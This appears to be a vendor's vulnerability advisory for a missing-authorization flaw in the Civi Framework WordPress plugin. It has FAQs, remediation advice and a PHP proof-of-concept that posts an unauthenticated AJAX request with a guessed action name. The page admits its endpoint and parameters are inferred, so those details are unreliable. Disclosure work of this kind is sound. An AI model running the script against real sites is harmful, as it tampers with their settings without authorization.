What is CVE-2026-65525?

CVE-2026-65525 is a missing authorization vulnerability in the Civi Framework plugin for WordPress, affecting versions up to and including 2.2.0. It allows unauthenticated attackers to perform unauthorized actions, such as modifying plugin settings, due to a missing capability check on a function.

How does the vulnerability work?

The vulnerability exists because a function accessible to unauthenticated users lacks a capability check, such as current_user_can(). This function is likely hooked into an AJAX action or REST route without proper permission verification, allowing any visitor to trigger it and alter plugin data.

Who is affected by this vulnerability?

Any WordPress site running the Civi Framework plugin version 2.2.0 or earlier is affected. Since the attack requires no authentication, all sites with the vulnerable version are at risk, regardless of user roles or permissions.

How can I check if my site is vulnerable?

Check the installed version of the Civi Framework plugin in the WordPress admin dashboard under Plugins. If the version is 2.2.0 or lower, your site is vulnerable. You can also use security scanners or manually review the plugin code for missing capability checks.

What is the CVSS score and severity?

The vulnerability has a CVSS score of 5.3, which is considered medium severity. This indicates a moderate risk, as the attack is network-based with low complexity, but the impact is limited to low integrity, meaning an attacker can modify data but not read or delete it.

What practical impact can an attacker achieve?

An attacker can send a crafted HTTP request to the vulnerable endpoint to perform actions like toggling plugin settings or clearing caches. This could disrupt site functionality or cause unintended behavior, but it does not lead to data theft or privilege escalation.

How does the proof of concept (PoC) demonstrate the issue?

The PoC sends an unauthenticated POST request to the WordPress admin-ajax.php endpoint with a guessed action name and payload. If the vulnerable function exists, the request will be processed without any permission checks, demonstrating the missing authorization.

What is the root cause of this vulnerability?

The root cause is the absence of a capability check on a function that is accessible to unauthenticated users. This typically occurs when a developer forgets to add current_user_can() or nonce verification to an AJAX handler or REST route.

How can I fix or mitigate the issue?

If a patched version is available, update the plugin immediately. If not, disable the plugin until a fix is released. As a temporary measure, you can apply a virtual patch using a Web Application Firewall (WAF) to block requests to the vulnerable endpoint.

What should plugin developers do to prevent this?

Developers should always check user capabilities with current_user_can() before executing sensitive actions, use the ‘wp_ajax_’ hook instead of ‘wp_ajax_nopriv_’ for admin functions, and implement nonce verification to prevent CSRF and unauthorized calls.

Is there any risk of data loss or site takeover?

No, the vulnerability does not allow data theft or full site takeover. The integrity impact is low, meaning an attacker can only modify certain settings or data, not delete or exfiltrate information. However, it could still cause operational disruption.

Where can I find more information about this CVE?

You can refer to the official CVE record, the WordPress plugin repository, or security advisories from trusted sources. Atomic Edge’s analysis provides detailed insights, but always verify with official updates from the plugin developer.

Published : August 12, 2026

CVE-2026-65525: Civi Framework <= 2.2.0 Missing Authorization PoC, Patch Analysis & Rule

CVE ID CVE-2026-65525

Plugin civi-framework

Severity Medium (CVSS 5.3)

CWE 862

Vulnerable Version 2.2.0

Patched Version —

Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65525 (metadata-based):
Civi Framework versions up to and including 2.2.0 contain a missing authorization vulnerability that allows unauthenticated attackers to perform an unauthorized action. The vulnerability has a CVSS score of 5.3 (medium severity) and is classified as CWE-862 (Missing Authorization). Since no source code diff or patched plugin version is available, all technical details in this analysis are inferred from the vulnerability description, CWE classification, CVSS vector, and standard WordPress plugin development patterns. Atomic Edge research cannot confirm the specific function or endpoint without code access, but the metadata clearly indicates an unauthenticated capability check bypass.

Root Cause:
The root cause is a missing capability check on a function accessible to unauthenticated users. In WordPress plugins, this typically occurs when an admin-only function is hooked into an AJAX action, REST API route, or form submission handler without verifying the user’s permissions. The function may perform an action such as updating plugin settings, reseting data, or modifying database entries. The absence of a current_user_can() call, a nonce check, or both allows any user, including unauthenticated visitors, to invoke the action. Atomic Edge analysis infers that the vulnerable function is likely registered via the ‘wp_ajax_nopriv_’ hook or a REST route with no permission callback, both of which expose it to unauthenticated access. The CVSS vector shows a low impact on integrity (I:L), consistent with an attacker performing state-changing actions such as toggling settings or clearing caches.

Exploitation:
An attacker can send a crafted HTTP request to the WordPress installation to trigger the unauthorized action. The most likely target is an AJAX endpoint at /wp-admin/admin-ajax.php, with a request parameter ‘action’ set to a plugin-specific handler, such as ‘civi_framework_update_option’ or ‘civi_framework_reset’. The request can be a simple POST request with the action parameter and any additional parameters the function expects. Since the vulnerability is missing authorization and not missing nonce, no nonce is required. The attacker does not need an account, making the attack vector network-based with low attack complexity. Atomic Edge analysis also considers the possibility of a REST API route under the plugin namespace, but the AJAX pattern is more common for this vulnerability type. A proof-of-concept script can be used to send the request and observe a successful response.

Remediation:
The fix for this vulnerability requires adding proper authorization checks to the vulnerable function. The plugin developer must ensure any function that handles sensitive operations calls current_user_can() with the appropriate capability, such as ‘manage_options’ for administrative actions. Additionally, the function should be restricted to authenticated users by using the ‘wp_ajax_’ hook instead of ‘wp_ajax_nopriv_’, unless the action is intended for the public. Implementing nonce verification with check_ajax_referer() or wp_verify_nonce() would also prevent cross-site request forgery and unauthorized calls. Since no patched version is available, users should disable the plugin or apply a virtual patch until an update is released.

Impact:
Successful exploitation allows an unauthenticated attacker to perform an unauthorized action that can modify plugin settings or other data. The integrity impact is low, meaning the attacker cannot directly read data or escalate privileges, but they can alter the plugin’s configuration. This could lead to disruption of site functionality, defacement of plugin-controlled content, or unintended behavior. The confidentiality and availability impacts are none, as indicated by the CVSS vector. The risk is moderate, and the attack can be automated by sending a single HTTP request, making it a practical target for exploitation.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65525 - Civi Framework <= 2.2.0 - Missing Authorization
// This PoC exploits the missing authorization by sending an unauthenticated AJAX request.
// Assumption: The vulnerable action is 'civi_framework_update' based on the plugin slug.

// Configuration: set the target WordPress URL
$target_url = 'http://example.com/wp-admin/admin-ajax.php';

// The AJAX action that triggers the vulnerable function.
// Since no code diff is available, this is an inferred action name.
// An attacker could brute-force possible action names if this fails.
$action = 'civi_framework_update';

// Example payload parameters that the vulnerable function might expect.
// These are speculative based on typical plugin settings update actions.
$payload = [
    'action' => $action,
    'option' => 'civi_framework_active',
    'value'  => '1'
];

// Initialize cURL session
$ch = curl_init();

// Configure cURL options
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($payload),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => false,
    CURLOPT_TIMEOUT => 10,
]);

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    echo "HTTP Status: " . curl_getinfo($ch, CURLINFO_RESPONSE_CODE) . "n";
    echo "Response Body: " . $response . "n";
    echo "nIf the response indicates success (e.g., 'success' or a 200 status with a specific message),n";
    echo "the plugin is vulnerable to CVE-2026-65525.n";
}

// Close cURL session
curl_close($ch);

Frequently Asked Questions

What is CVE-2026-65525?
Vulnerability overview
CVE-2026-65525 is a missing authorization vulnerability in the Civi Framework plugin for WordPress, affecting versions up to and including 2.2.0. It allows unauthenticated attackers to perform unauthorized actions, such as modifying plugin settings, due to a missing capability check on a function.
How does the vulnerability work?
Technical explanation
The vulnerability exists because a function accessible to unauthenticated users lacks a capability check, such as current_user_can(). This function is likely hooked into an AJAX action or REST route without proper permission verification, allowing any visitor to trigger it and alter plugin data.
Who is affected by this vulnerability?
Affected users
Any WordPress site running the Civi Framework plugin version 2.2.0 or earlier is affected. Since the attack requires no authentication, all sites with the vulnerable version are at risk, regardless of user roles or permissions.
How can I check if my site is vulnerable?
Detection steps
Check the installed version of the Civi Framework plugin in the WordPress admin dashboard under Plugins. If the version is 2.2.0 or lower, your site is vulnerable. You can also use security scanners or manually review the plugin code for missing capability checks.
What is the CVSS score and severity?
Risk rating
The vulnerability has a CVSS score of 5.3, which is considered medium severity. This indicates a moderate risk, as the attack is network-based with low complexity, but the impact is limited to low integrity, meaning an attacker can modify data but not read or delete it.
What practical impact can an attacker achieve?
Exploitation impact
An attacker can send a crafted HTTP request to the vulnerable endpoint to perform actions like toggling plugin settings or clearing caches. This could disrupt site functionality or cause unintended behavior, but it does not lead to data theft or privilege escalation.
How does the proof of concept (PoC) demonstrate the issue?
PoC explanation
The PoC sends an unauthenticated POST request to the WordPress admin-ajax.php endpoint with a guessed action name and payload. If the vulnerable function exists, the request will be processed without any permission checks, demonstrating the missing authorization.
What is the root cause of this vulnerability?
Root cause analysis
The root cause is the absence of a capability check on a function that is accessible to unauthenticated users. This typically occurs when a developer forgets to add current_user_can() or nonce verification to an AJAX handler or REST route.
How can I fix or mitigate the issue?
Remediation steps
If a patched version is available, update the plugin immediately. If not, disable the plugin until a fix is released. As a temporary measure, you can apply a virtual patch using a Web Application Firewall (WAF) to block requests to the vulnerable endpoint.
What should plugin developers do to prevent this?
Developer guidance
Developers should always check user capabilities with current_user_can() before executing sensitive actions, use the ‘wp_ajax_’ hook instead of ‘wp_ajax_nopriv_’ for admin functions, and implement nonce verification to prevent CSRF and unauthorized calls.
Is there any risk of data loss or site takeover?
Impact on data and security
No, the vulnerability does not allow data theft or full site takeover. The integrity impact is low, meaning an attacker can only modify certain settings or data, not delete or exfiltrate information. However, it could still cause operational disruption.
Where can I find more information about this CVE?
Additional resources
You can refer to the official CVE record, the WordPress plugin repository, or security advisories from trusted sources. Atomic Edge’s analysis provides detailed insights, but always verify with official updates from the plugin developer.

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